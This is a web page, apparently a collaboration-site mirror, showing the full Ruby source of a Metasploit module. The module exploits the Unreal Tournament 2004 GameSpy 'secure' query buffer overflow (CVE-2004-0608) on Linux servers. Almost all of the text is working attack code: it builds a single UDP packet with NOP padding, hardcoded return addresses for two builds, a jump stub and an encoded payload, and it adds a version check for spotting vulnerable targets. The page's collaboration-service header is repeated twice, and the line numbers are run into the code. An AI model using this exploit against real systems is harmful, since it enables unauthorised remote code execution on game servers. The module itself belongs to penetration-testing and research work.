Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/games/ut2004_secure.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Unreal Tournament 2004 "secure" Overflow (Linux)',13'Description' => %q{14This is an exploit for the GameSpy secure query in15the Unreal Engine.1617This exploit only requires one UDP packet, which can18be both spoofed and sent to a broadcast address.19Usually, the GameSpy query server listens on port 7787,20but you can manually specify the port as well.2122The RunServer.sh script will automatically restart the23server upon a crash, giving us the ability to24bruteforce the service and exploit it multiple25times.26},27'Author' => [ 'onetwo' ],28'License' => BSD_LICENSE,29'References' =>30[31[ 'CVE', '2004-0608'],32[ 'OSVDB', '7217'],33[ 'BID', '10570'],3435],36'Privileged' => true,37'Payload' =>38{39'Space' => 512,40'BadChars' => "\x5c\x00",4142},43'Platform' => 'linux',44'Targets' =>45[46['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer47['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],48],49'DisclosureDate' => '2004-06-18'))5051register_options(52[53Opt::RPORT(7787)54])55end5657def exploit58connect_udp5960buf = make_nops(1024)61buf[24, 4] = [target['Rets'][1]].pack('V')62buf[44, 4] = [target['Rets'][0]].pack('V')63buf[56, 4] = [target['Rets'][1]].pack('V')64buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP6566buf[0, 8] = "\\secure\\"67buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded6869udp_sock.put(buf)7071handler72disconnect_udp73end7475def ut_version76connect_udp77udp_sock.put("\\basic\\")78res = udp_sock.recvfrom(8192)79disconnect_udp8081if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))82return m[1]83end8485return86end8788def check89vers = ut_version9091if (not vers)92vprint_status("Could not detect Unreal Tournament Server")93return Exploit::CheckCode::Unknown94end9596print_status("Detected Unreal Tournament Server Version: #{vers}")97if (vers =~ /^(3120|3186|3204)$/)98vprint_status("This system appears to be exploitable")99return Exploit::CheckCode::Appears100end101102103if (vers =~ /^(2...)$/)104vprint_status("This system appears to be running UT2003")105return Exploit::CheckCode::Detected106end107108vprint_status("This system appears to be patched")109return Exploit::CheckCode::Safe110end111end112113114